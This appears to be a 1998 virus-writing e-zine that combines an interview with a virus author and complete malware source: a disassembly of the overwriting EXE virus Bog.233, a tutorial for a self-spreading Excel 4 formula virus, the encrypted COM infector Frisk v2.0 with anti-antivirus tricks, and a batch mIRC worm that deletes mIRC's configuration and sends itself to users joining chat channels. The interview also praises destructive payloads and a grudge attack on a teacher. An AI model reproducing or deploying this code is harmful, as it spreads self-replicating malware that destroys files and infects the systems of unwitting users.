 Talon(RIP): thanks for your comment about ShowOff, Rest In Peace

 brother!.

 >Are you part of any VX groups?

 - Yup, with CrazyMan (my real brother) we founded NoMercyVirusTeam,

 i the first time our group called CrazyBits, but every month on

 date 13 our victim(s) always say NoMercy!, i was infected by NoMercy,

 well we think NoMercy More famous than CrazyBits, so we decided to

 Change our name to NoMercyVirusTeam.

 we have 4 active members they are :

 1. SlageHammer (as Honored member)

 on Info/virus Hunter, tester, and publisher

 2. Knowdeth (as Honored member)

 on MacroCoding, Batch Virus

 3. Sentot AKA Henry (new!)

 on Asm coding, he wrote IVSC (Indonesian Virus Source Code)

 4. Guritha

 on Spread division, tester and virus hunter.

 >How long have you been intrested in/writing virii?

 - wait (i'm little stupid, need count first. hehehehe) 1996,1997,

 1998 waw 3 years ;o). I was join in this scene in 3 years.

 >How/When did you decide to become an active member in the virus

 scene?

 - I think the answer like question number one.

 >What was your first virus? and what did it do?

 - My first virus, not mine we(CrazyMan and me) make it together, we

 not name it yet, but that virus escape from our labs ;o) and go

 wild in my neighbour, now known as ShowOff.

 - Truely ShowOff is an scanner (we modified from scanprot.dot)

 just look on the source code of ShowOff you will see it.

 >What kind of advice would you give somebody attempting to write thier

 first virus? Or somebody new to the scene?

 - VDAT!!, they need to read VDAT "the bible of VX", if done and the

 virus really work, send it to NoMercyVirusTeam we glad to be publisher.

 hehehe not just publisher we will spread it!.

 >What language did you write it in?

 - most viruses that i was write in Macro, i have write 1 Asm,

 and not spread it out i just write for fun, every month on

 date 13 the virus will boot computer.

 - for VCK i write in VB, i hope you have try my VCK, a called

 NEG (NoMercyExcelGenerator) the world first Excel Virus Generator.

 >Which programming languages do you know and/or use the most?

 - VB, pascal, lil asm, C++, Perl, Java, and Indonesian lang.

 (*grin*)

 - i like write prog with VB, see NVLR or NEG.

 >Are there any people/groups that you "look up to" or have a

 higher respect for?

 - this is ppl that i very very respect.

 * Cicatrix = i love your work

 * VicodinES = Your style of coding is crazy!

 * SlageHammer = i just can say slage is my first friend

 outside Indonesia that very close to me.

 * Vrtik & Valky = the creator of HMVS damn! they Beat LWM!

 * Tally & Virus Buster = my source for new virus ;o)

 - and this is the groups

 * 29A = nice group with nice ppl,

 (Darkman/Reptile/j4cky/Griyo)

 * CodeBreakers= active group with kewl HP, the first VX page i

 ever seen that have cgi on their page.

 (Sp0oky/Opic/SerialKiller)

 * FS = good group with good HP and nice ppl

 >What do you think about macro and/or HLL virii in

 contrast to Assembly virii?

 - Macro virus, mmm many VX coding (asm side) doesnt like macro coding

 they always say macro coding is lame, bcoz every body can doit. well

 thats true!, i'm as macro coding say that true, but did they see we

 try better and better every day? VicodinES for example, he make new

 style in macro coding.

 - Asm Virus, good, many tricks used inside the making, fast and small

 - HLL virus, good, but the size of virus is big user can know it.

 >What do you think about people putting blatently destructive code in

 virii for the express purpose of causing damage?

 - i was write many virus with distructive code, like format or delete

 specific file(s). i like it.

 >Have you ever gotten really pissed at somebody and purposefully

 put damaging code in a program meant for that person(s)?

 - yup, for my teacher ;)

 >What do you think the next development in the virus scene is going

 to be? What kind of developments do you think are going to be made

 or need to be made for the scene to advance?

 - Asm virus will be immortall

 >I personally have scene a lot of ego trips and conflict in other

 scenes between the more "knowlageable" members of those scenes,

 Do you think theres a lot of that in the virus scene?

 - well better if i say no comment ;). you know it ;)

 >Any other comments?

 - well for know what is NoMercyVirusTeam just go here:

 http://welcome.to/NoMercy.com or,

 http://www.a-vip.com/NoMercyVirusTeam or,

 mail me at: foxz.nomercy@usa.net

 >On behalf of myself, Sinixstar, and the rest of the Metaphase Crew,

 I would like to thank you for taking the time to answer a few

 questions about yourself and your views.

  - Yer welcome brother, see you on #vir ;)


Darkman / 29A
Darkman / 29A,  Bog.233 Dissassembly

comment *

Bog.233

         Disassembly by

            Darkman/29A

  Bog.233 is a 233 bytes overwriting direct action new

  executable EXE virus.

  Infects every file in current directory, when executed.

  To compile Bog.233 with Turbo Assembler v 4.0 type:

    TASM /M BOG_233.ASM

    TLINK /x BOG_233.OBJ

*

.model tiny

.code

code_begin:

file_header  db      0ah dup(90h)	 ; File header

     cli	 ; Clear interrupt-enable flag

     mov     ax,4c00h	 ; Terminate with return code

virus_begin:

     call    delta_offset

delta_offset:

     pop     bp 	 ; Load BP from stack

     sub     bp,03h	 ; BP = delta offset

     push    cs 	 ; Save CS at stack

     pop     ss 	 ; Load SS from stack (CS)

     mov     sp,bp	 ; SP = delta offset

     push    ax 	 ; Save AX at stack

     call    find_first

     db      '*.EXE',00h         ; File specification

find_first:

     pop     dx 	 ; Load DX from stack

     mov     cx,0000000000000011b

     mov     ah,4eh	 ; Find first matching file (DTA)

find_next:

     int     21h

     jc      terminate	 ; Error? Jump to terminate

     call    open_file

     mov     ah,4fh	 ; Find next matching file (DTA)

     jmp     find_next

terminate:

     pop     ax 	 ; Load AX from stack

     int     21h

open_exit:

     ret	 ; Return!

open_file    proc    near	 ; Open file

     mov     ax,cs

     sub     ax,08h	 ; AX = segment of default DTA

     mov     ds,ax	 ; DS =    "    "     "     "

     mov     dx,1eh	 ; DX = offset of filename

     mov     ax,3d02h	 ; Open file (read/write)

     int     21h

     jc      open_exit	 ; Error? Jump to open_exit

     xchg    ax,bx	 ; BX = file handle

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     mov     cx,0ah	 ; Read ten bytes

     xor     dx,dx	 ; Zero DX

     mov     ah,3fh	 ; Read from file

     int     21h

     cmp     word ptr [file_header],'ZM'

     jne     close_file 	 ; Correct sign...? Jump to close_file

     cmp     word ptr [file_header+04h],03h

     jb      close_file 	 ; At least thr...? Jump to close_file

     cmp     word ptr [file_header+08h],20h

     jne     close_file 	 ; Thirty two p...? Jump to close_file

     xor     cx,cx	 ; Zero CX

     mov     dx,200h	 ; DX = offset of end of file header

     mov     ax,4200h	 ; Set current file position (SOF)

     int     21h

     mov     cx,(code_end-data_buffer)

     lea     dx,data_buffer	 ; DX = offset of data_buffer

     mov     si,dx	 ; SI =   "    "       "

     mov     ah,3fh	 ; Read from file

     int     21h

     jc      close_file 	 ; Error? Jump to close_file

find_win:

     cmp     si,offset data_buffer+40h

     jae     close_file 	 ; Above or equal? Jump to close_file

     lodsb	 ; AL = byte of data_buffer

     and     al,01011111b	 ; Upcase character

     cmp     al,'W'              ; Found first character of the st...?

     jne     find_win	 ; Not equal? Jump to find_win

     lodsb	 ; AL = byte of data_buffer

     and     al,01011111b	 ; Upcase character

     cmp     al,'I'              ; Found second character of the s...?

     jne     find_win	 ; Not equal? Jump to find_win

     lodsb	 ; AL = byte of data_buffer

     and     al,01011111b	 ; Upcase character

     cmp     al,'N'              ; Found third character of the st...?

     jne     find_win	 ; Not equal? Jump to find_win

     call    find_termina

close_file:

     mov     ah,3eh	 ; Close file

     int     21h

find_exit:

     ret	 ; Return!

     endp

find_termina proc    near	 ; Find the terminate with return c...

     cmp     si,offset data_buffer+(code_end-data_buffer)

     jae     find_exit	 ; Above or equal? Jump to find_exit

     lodsb	 ; AL = byte of data_buffer

     cmp     al,4ch	 ; Found first byte of terminate w...?

     jne     find_termina	 ; Not equal? Jump to find_termina

     lodsb	 ; AL = byte of data_buffer

     cmp     al,0cdh	 ; Found second byte of terminate ...?

     jne     find_termina	 ; Not equal? Jump to find_termina

     lodsb	 ; AL = byte of data_buffer

     cmp     al,21h	 ; Found third byte of terminate w...?

     jne     find_termina	 ; Not equal? Jump to find_termina

     push    si 	 ; Save SI at stack

     sub     si,offset data_buffer

     cmp     si,(code_end-data_buffer-08h)

     pop     si 	 ; Load SI from stack

     ja      find_exit	 ; Above? Jump to find_exit

     xor     cx,cx	 ; Zero CX

     mov     dx,si	 ; DX = offset of end of terminate ...

     add     dx,(code_end-data_buffer-02h)

     mov     ax,4200h	 ; Set current file position (SOF)

     int     21h

     mov     cx,(virus_end-virus_begin)

     mov     dx,bp	 ; BP = delta offset

     mov     ah,40h	 ; Write to file

     int     21h

     ret	 ; Return!

     endp

     db      'BOG (C) ''93 by GROG - Italy'

virus_end:

     db      89h dup(?)

data_buffer  db      80h dup(?) 	 ; Buffer for data

code_end:

end	     code_begin


CrazH / NVT
CrazH / NVT,  A Lame Excel Formula Tutorial "The Basic In-Fuck-Tion"

                by CrazH[NoMercy] oct 1998

  http://sourceofkaos.com/homes/nomercy

        This tutorial is for educational purpose only!

        I (crazh) don't take any RESPONSIBILITY for any DAMAGE cause by this tutorial

Hi guys... this is my first tuts i've ever written!.

Thank to Knowdeth for include this lame tut in Metaphase#1, and this is aimed to

the beginner who want to infuck Micro$oft excel using Excel Formula macros.

If you are the advanced please leave there is nothing new for you.

What is an Excel Formula?

well, excel formula is the macro language written for the excel 4

( excel 4 macro) and this macro is still supported in excel 5, excel 95 and excel 97.

What's different between excel Formula and VBA language?

in excel formula we write our code in macro sheet and in VBA we write

our code in macro module . The good side writing our code in macro sheet

is our macro can't be viewed from Tools/Macro... menu and automatically

our macro can't defeated using Tools/Macro.../Delete and can't be viewed using View VBA code

Okey...enough bullshit stuff let's go for fun part!

Before we make our XF, we must understand in-fuck-tion steps

1. When a workbook infected with our XF virus opened or closed run auto macro

2. Check in xlstart directory is there our XF? if yes goto step 3 else goto step 4

3. Check in active workbook, was active workbook infected? ,if yes goto step 6 else goto step 5

4. Copy our Macro to xlstart directory

5. yeah! in-fuck active workbook!

6. done!

Look in my illustration on Macro Sheet below. (look beauty..;))

In worksheet cell reference generally using columns:rows

                        +---------------------------------------+------ Columns

                        |                                        |        Rows

------------------------v---------------------------------------v---------------------------------------------------  |

   |	A	| B...    	     	               |

----------------------------------------------------------------------------------------------- |

1  |"-= XF.TjoRo#2  =-	| 	                            <-+

2  |"an eXcelFormula virus by CrazyMan of NoMercy	| 	                               |

3  |"created on Oct '98 in city of Djokdjakarta	| global.                                 <-+

4  |"the #1 Indonesian excel Formula Virus 	| C:\MSOFFICE\EXCEL\XLSTART\global.

5  |	 	| is infected? (3 =yes other value no)

6  |"Triggering routines!	           	| 3

7  |=ON.SHEET(;"crazh";TRUE)	| basic.xls

8  |=RETURN()	| basic.xls

9  |	|

10 |	|

11 |"Infection routines!	           	| "gathering info from active workbook

12 |=RUN(B12)	| =SET.VALUE($B$7;GET.WINDOW(31))

13 |=IF(ISNA(B6);GOTO(A16);GOTO(A14))	| =SET.VALUE($B$6;GET.DOCUMENT(3;"["&B7&"]"&"MyMacro"))

14 |=     RETURN()	| =RETURN()

15 |=END.IF()	|

16 |=WORKBOOK.COPY("["&B3&"]"&"MyMacro";B7;1) 	| "make new wb!

17 |=RETURN()	| =IF(ISNA(B8);GOTO(B18);GOTO(B21))

18 |	| =NEW(5)

19 |	| =RUN(A7)

20 |	| =RETURN()

21 |"Set our variables! 	| =ACTIVATE(B8)

22 |=SET.VALUE($B$7;GET.WINDOW(31))	| =RUN(A7)

23 |=SET.VALUE($B$4;(GET.WORKSPACE(23)&"\global."))	| =RETURN()

24 |=RETURN()	|

25 |	|

26 |	|

27 |"Auto and workbook infection routines!	|

28 |=ECHO(FALSE)	|

29 |=SET.VALUE(B8;GET.WINDOW(31))	|

30 |=IF(ISNA(FILES(B4)="global.");GOTO(A31);GOTO(B17)) 	|

31 |=NEW(1)	|

32 |=RUN(A22)	|

33 |=ACTIVATE(B8)	|

34 |=WORKBOOK.COPY("MyMacro";B7;1)	|

35 |=RUN(B12)	|

36 |=ERROR(FALSE)	|

37 |=MESSAGE(TRUE;"Ready")	|

38 |=SAVE.AS(B4)	|

39 |=RUN(A7)	|

40 |=ERROR(TRUE)	|

41 |=ACTIVATE(B3)	|

42 |=HIDE()	|

43 |=ACTIVATE(B3)	|

44 |=SAVE()	|

45 |=IF(DAY(NOW())=13;ALERT("You're infected by [XF.TjorO#2 ], a second Generation of TJoRO family brought to you by Crazh of NoMercyVirusTeam, oct 1998.";2);GOTO(A46))

46 |=RETURN()	|

47 |	|

on my sample above we use two name for reference to our important sub routine :

1. auto_open (cell $A$28:$A$46) --> this sub will always called when workbook was open

2. crazh (cell $A$7:$A$8) --> this sub will always called when sheet is activate

Let me explain all sub routine we used here.

-----------------------------------------------------

                       A

-----------------------------------------------------

...|

27 |"Auto and workbook infection routines! --> used to infect when infected workbook was opened

28 |=ECHO(FALSE) --> turn off screen updating

29 |=SET.VALUE(B8;GET.WINDOW(31)) --> fill cell B8 with currently active window

30 |=IF(ISNA(FILES(B4)="global.");GOTO(A31);GOTO(B17)) --> check for global.

31 |=NEW(1)	--> insert new workbook

32 |=RUN(A22)	--> run sub routine (cell A22)

33 |=ACTIVATE(B8) --> Activate cell B8

34 |=WORKBOOK.COPY("MyMacro";B7;1) --> copy our virus to workbook

35 |=RUN(B12) --> run sub routine (cell B12)

36 |=ERROR(FALSE) --> turn off error message

37 |=MESSAGE(TRUE;"Ready") --> write status bar with "Ready"

38 |=SAVE.AS(B4) --> save it

39 |=RUN(A7)	--> run A7

40 |=ERROR(TRUE) --> turn on error message

41 |=ACTIVATE(B3) --> activate cell B3

42 |=HIDE() --> play hide and seek

43 |=ACTIVATE(B3) --> activate cell B3

44 |=SAVE() --> save

45 |=IF(DAY(NOW())=13;ALERT("You're infected by [XF.TjorO#2 ], a second Generation of TJoRO family brought to you by Crazh of NoMercyVirusTeam, oct 1998.";2);GOTO(A46)) --> our payload

46 |=RETURN()

-----------------------------------------------------

                       A

-----------------------------------------------------

...|

6  |"Triggering routines!

7  |=ON.SHEET(;"crazh";TRUE) --> on every sheet activation run sub "crazh"

8  |=RETURN()

9  |

10 |

11 |"Infection routines!

12 |=RUN(B12)

13 |=IF(ISNA(B6);GOTO(A16);GOTO(A14)) --> check for infected workbook

14 |=     RETURN()	      --> yes we r here

15 |=END.IF()

16 |=WORKBOOK.COPY("["&B3&"]"&"MyMacro";B7;1) --> nope, in-fuck it!

17 |=RETURN()

18 |

19 |

20 |

21 |"Set our variables!

22 |=SET.VALUE($B$7;GET.WINDOW(31)) --> fill cell $B$7 with value from currently active window

23 |=SET.VALUE($B$4;(GET.WORKSPACE(23)&"\global.")) --> fill cell $B$4 with value from directory where MS-EXCEL install

24 |=RETURN()

25 |

26 |

-----------------------------------------------------

                       B

-----------------------------------------------------

...|

3  |global.	--> our global macros name

4  |C:\MSOFFICE\EXCEL\XLSTART\global.  --> directory where's the global belongs

5  |is infected? (3 =yes other value no)

6  |3	--> mark value

7  |basic.xls --> volatile value

8  |basic.xls -->       ''

-----------------------------------------------------

                       B

-----------------------------------------------------

...|

B16|"make new wb!  --> used to create a new workbook

B17|=IF(ISNA(B8);GOTO(B18);GOTO(B21)) --> check

B18|=NEW(5) --> insert new workbook

B19|=RUN(A7)

B20|=RETURN()

B21|=ACTIVATE(B8)

B22|=RUN(A7)

B23|=RETURN()

-----------------------------------------------------

                       B

-----------------------------------------------------

...|

11 |"gathering info from active workbook

12 |=SET.VALUE($B$7;GET.WINDOW(31)) --> set $B$7 with currently active window name

13 |=SET.VALUE($B$6;GET.DOCUMENT(3;"["&B7&"]"&"myMacro")) --> set mark value

14 |=RETURN()

Tip.

if you want more detail macro function install Macrofun.hlp from MSOFFICE 4.3 or MS-EXCEL 5.0


Disclaimer
Disclaimer:

This Help File contains information on Computer Virii Metaphase VX Team is NOT responsible for any damages that may result from using this Help File. Such damages

are your problem, not Ours. Metaphase VX Team nor it members will  be held responsible for the abuse or misuse of anything offerd in this file. In no event will Metaphase VX Team nor its members be liable for any damages, including but not limited to any lost profits, lost savings or any incidental or consequential damages, whether resulting from impaired or lost data, software or computer failure or any other cause, or for any other claim by the user or for any third party claim. Understand that the possession and exchange of  virus information is frowned upon in many parts of the world.

Metaphase VX Team nor it members take any responsibility for anything in this help file legal or otherwise. This Help File  is for educational and Virii information purposes ONLY. Nothing in this help file may be used to cause harm to any computer system.

If you do not agree DELETE this file now!

This File is FREEWARE no charge shall ever be made for this file.

This File may not be changed/disected in anyway.

This File is copy right Metaphase 1998

All files are copy right to The orignal writer.


frisk v2.0
frisk v2.0 by nUcLeii

______________________________________________________________________

Virus Author: nUcLeii  Nov 98.

Virus Name  : Frisk v2.0

Virus Target: *.COM

Target OS...: DOS/ WIN 9.x

Virus Info..: COM Appendor With A Little Encryption And A Nifty Payload

Encryption..: YES.

Payload.....: Yes. Graphical

Stealth.....: YES.

TSR.........: No.

AntiAV......: NO.

______________________________________________________________________

;	         frisk v2.0

;	another one from the nUcLeii

;Ok, here we have just another file to add to the virus glut. Just another

;lame old com appendor with a little encryption and a nifty payload. It won't

;infect files over 61kb. It doesnt change the files time date stamp. It won't

;error on a write protected disk due to a simple int 24 handeling. Once ran,

;it will infect all com files from its current dir to the root. Who cares about

;file counters on a com infector... you gotta take what you can get. If ran on

;the set date for the payload, it will move to c:\windows\command and infect all

;files from there to the root and then display its nifty little payload. It uses

;ror,neg,not,xor encryption with a random key to hide its body. Infected files

;grow by about 1,500 bytes,. hahaha.,

;The first version of this virus was crap, and this version is crap.

;It was inspired from fredrik calling me a nitwit on alt.comp.virus for not taking

;computers too seriously. Well, i can't argue with the man. ...all in good humor.,

.model tiny

 code segment

  assume  cs:code,ds:code

   org     100h

start:

        db      0e9h,0,0

real_start:

mov	cx,0ffffh	;i hate to include this damn loop

anti_one:

jmp	anti_two	;that you see everywhere, but it

mov	ax,4c00h	;keeps this virus from being detected

int	21h	;by avp.,

anti_two:

loop	anti_one

call	get_delta

get_delta:

pop	bp

sub	bp,offset get_delta

encrypt:

jmp	not_on_first	;gotta bypass on the first run

lea	si,[bp+encrypted]	;top of encryption

mov	di,si	;pass it to di

call	encryption	;lets decrypt our virus

jmp	encrypted	;and jump to the rest of the code

encryption:

lodsb	;load a byte

ror	al,4

xor	al,byte ptr [bp+decrypt]

not	al

neg	al

xor     al,byte ptr [bp+decrypt]

neg     al

not     al

xor     al,byte ptr [bp+decrypt]

ror	al,4

stosb	;store the byte

loop    encryption	;work untill we are done

ret

  decrypt db 0	;our key value

encrypted:

lea	si,[bp+thrbyte]	;restore our first three bytes

mov	di,100h	;in memory

push	di

movsb

movsw

push	es

mov	ax,3524h                ;function to get interrupt vector

int	21h                     ;al holds the interrupt we want

lea	si,[bp+oldint]	;buffer the old interrupt

mov	[si],bx

inc	si

inc	si

mov	[si],es

pop	es

mov	ax,2524h	;function to set interrupt vector (al=24h)

lea	dx,[bp+errorhandler]	;set it to our little handler

int	21h	;uNF!

mov	ah,1ah	;function to set dta

lea	dx,[bp+dta]	;our new area

int	21h

mov	ah,47h	;function to get current directory

lea	si,[current_dir+bp]	;si holds our buffer

xor	dl,dl	;dl= our default drive

mov	byte ptr [si],"\"	;it doesnt return the drive or the \

inc	si	;so we need to set these in just to be safe

int	21h

find_first:

mov	ah,4eh	;function to find first matching file

lea	dx,[bp+comfile]	;what are we looking for?

mov	cx,7	;cx holds the attribute, and we want anything

infect_next:

int	21h	;search for files

jnc	infect_file	;found one? go infect it!

mov	ah,3bh                  ;function to set current directory

lea	dx,[bp+dotdot]          ;lets go up towards the root

int	21h

jnc	find_first	;if we are in a new folder, search it

end_virus:

mov	ah,2ah	;function to get systems date

int	21h

cmp	dl, 29	;is it the 29th of any month?

jne	dead	;if not lets just exit

windoze:

cmp	byte ptr [checker+bp],1	;have we done this already?

je	here	;if so go there

mov	ah,19h	;function to get current default drive

int	21h

mov	byte ptr [disk+bp],al	;lets save it

cmp	al,02h	;are we in C:\?

jz	lets_go	;if so lets infect away!

mov	ah,0eh	;function to set default drive

mov	dl,02h	;we are going to C:\ damn it!

int	21h	;uNF!

lets_go:

mov	ah,3bh	;function to set current directory

lea	dx,[bp+winspec]	;lets hit this just to be a jerk

int	21h

inc	byte ptr [checker+bp]	;make our note not to do this again

jnc	find_first	;if we made it to the directory then go for it

here:

mov	ax, 0b800h	;lets set up to display our image

mov	es, ax

xor	di, di

lea	si,[bp+frisk]	;location of the data to display

mov	cx, frisk_length	;cx holds the length

call	uncrunch	;gotta uncrunch it before we can display

xor	ax,ax	;

int	16h	;and wait for a keypress so our user can see it

dead:

push	ds	;now its time to restore our old int 24

lea	si,[bp+oldint]	;points to our buffer holding the old interrupt

mov	dx,[si]

inc	si

inc	si

mov	ds,[si]

mov	ax,2524h	;function to set interrupt vector

int	21h	;lets restore it!

pop	ds

mov	ah,0eh	;function to set default drive

mov	dl,byte ptr [disk+bp]	;the buffer to our last

int	21h	;lets restore it!

mov	ah,3bh	;function to set current directory

lea	dx,[bp+current_dir]	;points to the buffer holding where we started

int	21h	;lets restore it!

mov	ah,1ah	;function to set dta

mov	dx,80h

int	21h

retn	;return control to host program. uNF!

infect_file:

lea	dx,[bp+dta+1eh]	;get the file info

push	dx

mov	ax,4301h	;function to set file attributes

xor	cx,cx	;set to none.

int	21h

mov	ax,3d02h	;function to open file read/write access

pop	dx

int	21h

xchg	bx,ax

mov	ax,5700h	;function to get files time/date stamp

int	21h

push	dx	;save its date

push	cx	;save its time

mov	ah,3fh	;function to read from file or device

lea	dx,[bp+thrbyte]	;we gotta buffer it

mov	cx,3	;cx holds the number of bytes to read

int	21h

mov	ax,word ptr [bp+dta+1ah]	;our file size

mov	cx,word ptr [bp+thrbyte+1]	;and our bytes from the buffer

add	cx,finished-real_start+3	;get our virus bytes size

cmp	ax,cx

jz	close_file	;the same? we are outta here

cmp	ax,61000	;check if file is larger than 61kb

ja	close_file	;if so we dont want it

sub	ax,3

mov	word ptr [bp+newjump+1],ax

call	point_to_start

mov	ah,3eh	;just trying not to flag heurstics

add	ah,2	;3eh + 2 = 40h

mov	cx,3	;how much to write?

lea	dx,[bp+newjump]	;our jump of course!

int	21h

mov	ax,4202h	;function to set file pointer to eof

xor	cx,cx	;cx and dx holds offset from origin

cwd	;of new file position.. so we want em clear

int	21h

in	al,40h	;get random value from clock

mov	byte ptr [bp+decrypt],al	;save as our key

mov	ah,3eh	;write to file

add	ah,2	;3eh + 2 = 40h

lea	dx,[bp+real_start]	;dx points to where to start

mov	cx,encrypted-real_start	;cx holds what to write

int	21h

        lea	di,[bp+finished]	;point to the bottom of our code to encrypt

        push	di	;and save it for the write

        lea	si,[bp+encrypted]	;point to the start of what to encrypt

        mov	cx,finished-encrypted 	;cx holds what to encrypt

        push	cx	;and save it for the write

        call	encryption	;encrypt our virus body

        mov	ah,3eh	;write to file

add	ah,2	;3eh + 2 = 40h

        pop	cx	;mov cx,finished-encrypted

        pop	dx	;lea dx,[bp+finished]

        int	21h

close_file:

        mov     ax,5701h	;function to set files time/date stamp

        pop     cx	;set time to original

        pop     dx	;set date to original

        int     21h	;uNF!

        mov     ah,3eh	;function to close file

        int     21h

        mov     ah,4fh                  ;function to find next matching file

        jmp     infect_next	;lets do it again!

errorhandler:

mov	al,00h	;nothing!

iret	;interrupt return

;this is just the uncrunching routine from the draw... not my code

UNCRUNCH PROC NEAR

       PUSH    SI                      ;Save registers.

       PUSH    DI

       PUSH    AX

       PUSH    BX

       PUSH    CX

       PUSH    DX

       JCXZ    Done

       MOV     DX,DI                   ;Save X coordinate for later.

       XOR     AX,AX                   ;Set Current attributes.

       CLD

LOOPA: LODSB                           ;Get next character.

       CMP     AL,32                   ;If a control character, jump.

       JC      ForeGround

       STOSW                           ;Save letter on screen.

Next:  LOOP    LOOPA

       JMP     Short Done

ForeGround:

       CMP     AL,16                   ;If less than 16, then change the

       JNC     BackGround              ;foreground color.  Otherwise jump.

       AND     AH,0F0H                 ;Strip off old foreground.

       OR      AH,AL

       JMP     Next

BackGround:

       CMP     AL,24                   ;If less than 24, then change the

       JZ      NextLine                ;background color.  If exactly 24,

       JNC     FlashBitToggle          ;then jump down to next line.

       SUB     AL,16                   ;Otherwise jump to multiple output

       ADD     AL,AL                   ;routines.

       ADD     AL,AL

       ADD     AL,AL

       ADD     AL,AL

       AND     AH,8FH                  ;Strip off old background.

       OR      AH,AL

       JMP     Next

NextLine:

       ADD     DX,160                  ;If equal to 24,

       MOV     DI,DX                   ;then jump down to

       JMP     Next                    ;the next line.

FlashBitToggle:

       CMP     AL,27                   ;Does user want to toggle the blink

       JC      MultiOutput             ;attribute?

       JNZ     Next

       XOR     AH,128                  ;Done.

       JMP     Next

MultiOutput:

       CMP     AL,25                   ;Set Z flag if multi-space output.

       MOV     BX,CX                   ;Save main counter.

       LODSB                           ;Get count of number of times

       MOV     CL,AL                   ;to display character.

       MOV     AL,32

       JZ      StartOutput             ;Jump here if displaying spaces.

       LODSB                           ;Otherwise get character to use.

       DEC     BX                      ;Adjust main counter.

StartOutput:

       XOR     CH,CH

       INC     CX

       REP STOSW

       MOV     CX,BX

       DEC     CX                      ;Adjust main counter.

       LOOPNZ  LOOPA                   ;Loop if anything else to do...

Done:  POP     DX                      ;Restore registers.

       POP     CX

       POP     BX

       POP     AX

       POP     DI

       POP     SI

       RET

UNCRUNCH ENDP

point_to_start:

mov	ax,4200h	;function to set file pointer to bof

xor	cx,cx

cwd

int	21h

ret

;the draw output - crunched of course

FRISK_WIDTH EQU 80

FRISK_DEPTH EQU 25

FRISK_LENGTH EQU 798

FRISK LABEL BYTE

        DB      14,17,'É',26,24,'Í ',11,'F-PROT anti-anti-virus prog'

        DB      'ram ',14,26,19,'Í»',24,'º ',15,'Version 2.0',25,'!n'

        DB      'UcLeii Software International ',14,'º',24,'È',26,'L'

        DB      'Í¼',24,24,24,16,25,4,17,25,3,15,'Scan',25,4,24,16,25

        DB      28,14,17,'É',26,')Í»',24,16,25,28,17,'º ',15,'Too ba'

        DB      'd your now infected with the frisk ',14,'º',24,16,25

        DB      4,17,25,2,15,'Options',25,2,16,25,10,14,17,'º ',15,'v'

        DB      'irus. Sorry.,.hehe., but thats the way  ',14,'º',24,16

        DB      25,28,17,'º ',15,'shit works. If you weren',39,'t st'

        DB      'ealing soft ',14,'º',24,16,25,28,17,'º ',15,'ware, '

        DB      'or trying to get p0rn or something,',14,'º',24,16,25

        DB      4,22,' ',15,'Infomation  ',16,25,10,14,17,'º ',15,'t'

        DB      'hen this might not of happened.',25,8,14,'º',24,16,25

        DB      28,17,'º ',15,'Don',39,'t buy products that harass t'

        DB      'heir user',14,'º',24,16,25,28,17,'º ',15,'Stay away'

        DB      ' from things like McAfee, Norton',14,'º',24,16,25,4,17

        DB      25,3,15,'Quit',25,4,16,25,10,14,17,'º ',15,'and Invi'

        DB      'rcible..,.,',25,21,14,'º',24,16,25,28,17,'º ',15,'G'

        DB      'reetings to fridrik and frisk software. ',14,'º',24,16

        DB      25,28,17,'È',26,')Í¼',24,24,24,'É',26,'LÍ»',24,'º',15

        DB      'Information about antivirus scanners, and how most '

        DB      'are just crap not worth',25,2,14,'º',24,'º',15,'was'

        DB      'ting your money on. Hope this is "',27,'nit',27,'-',27

        DB      'witty',27,'" enough for ya frisk!!!',25,6,14,'º',24,'È'

        DB      26,'LÍ¼',24,24,24

dotdot	db  "..",0

comfile	db  "*.com",0

winspec	db  'C:\windows\command',0

checker	db  0

author	db  'frisk2 by nUcLeii `98',10,13,'$'

thrbyte	db  0cdh,20h,0

newjump	db  0e9h,0,0

oldint	db  4 dup (0)

current_dir db 64 dup  (?)

disk	db  ?

dta	db  42 dup (?)

finished:

not_on_first:	;we only need this crap once

lea     di,[bp+encrypt]	;where to write

lea     si,[bp+newbytes]	;what to write

movsw

movsb

jmp     encrypted	;lets go to our un-encrypted code

newbytes:

        mov     cx,finished-encrypted	;what to overwrite that jump with

code	ends

end	start


Greets
Greets:

Hehehe I dont know what to say but I guess ill try.

This is all in no real order at all.

If i forgot anyone sorry you'll be here next time I promise

just yell at me :-)

Very Special thanks to the beta testers for there input and help.

Tally, Sblip, nUcLeii, and expecailly Owl for his major help and input

on this project.

foxz - NVT brother, I will make you proud with WM97.frisk.a

darkman - Thank you for your help/donation, Ill be looking for that Pascal.

nUcLeii - Great work with VXU and all around thanks my friend.

Tally - Keep up the good work with your site, I still like the clipper idea.

Owl - Thank you again for all the help with everything I owe you major.

CrazH - Your XF rocks brother keep codeing strong, and thanks for the donation.

buz- - Thank you again with the help in asm, looking forward to that "project" :-)

RAiD - ASIC! thanks for your help.

Evil-E - Hell of a viewer for VXU#2 see you my friend.

Mad-Man - Thank you for all your help hehe im getting ASM down.

Opic - Thank you for the interview and your work with Codebreakers.

Sblip - You will prepend in C, I have faith in you :-)

Sinixstar - VISUAL FOREVER!!

Forms - Keep up the codeing

Virtual Daemon - One word SLAM!

CyberYoda - Thank you for all your help see you in #vir.

TorNado - Catch you my friend, keep up the good work with FS.

Nightmare Joker - Good to see you back in the scean.

Reptile - Thank you for the import/export technology.

VicodinES - Come back!!

Greets to the following groups. NVT, Feathered Serpents, 29/A, SLAM, Codebreakers,

DDT, IkX,  VBB, In the sign of scream.


Dark Weenie
MircBat by Dark Weenie

_________________________________________________________________

First batch-mIRC-worm ever written, it also exploits a side-effect of

DMSETUP, how? well, DMSETUP sets the mIRC download-directory to C:\,

 and my batch-worm spreads under the name AUTOEXEC.BAT, eh? enuff said.

_________________________________________________________________

@ECHO OFF

REM ==========================================

REM MircBat 1.1 / Oct-Nov-1998 by Dark Weenie.

REM ==========================================

IF NOT EXIST C:\MIRC\MIRC.INI GOTO Exit

IF EXIST C:\MIRC\AUTOEXEC.BAT GOTO Exit

DEL C:\MIRC\MIRC.INI > NUL

COPY AUTOEXEC.BAT C:\MIRC\AUTOEXEC.BAT > NUL

COPY AUTOEXEC.BAT C:\MIRC\MIRC.INI > NUL

GOTO Exit

[script]

n0=ON !*:JOIN:#: .DCC SEND $NICK C:\MIRC\AUTOEXEC.BAT

n1=CTCP *:MB:*: .$2- | .HALT

[channels]

n0=#beginner

n1=#casual

n2=#chataway

n3=#chatterz

n4=#chat-world

n5=#chatzone

n6=#cheers

n7=#CyberCafe

n8=#CyberChat

n9=#CyberFriends

n10=#CyberParty

n11=#Family_Chat

n12=#FunChat

n13=#funfactory

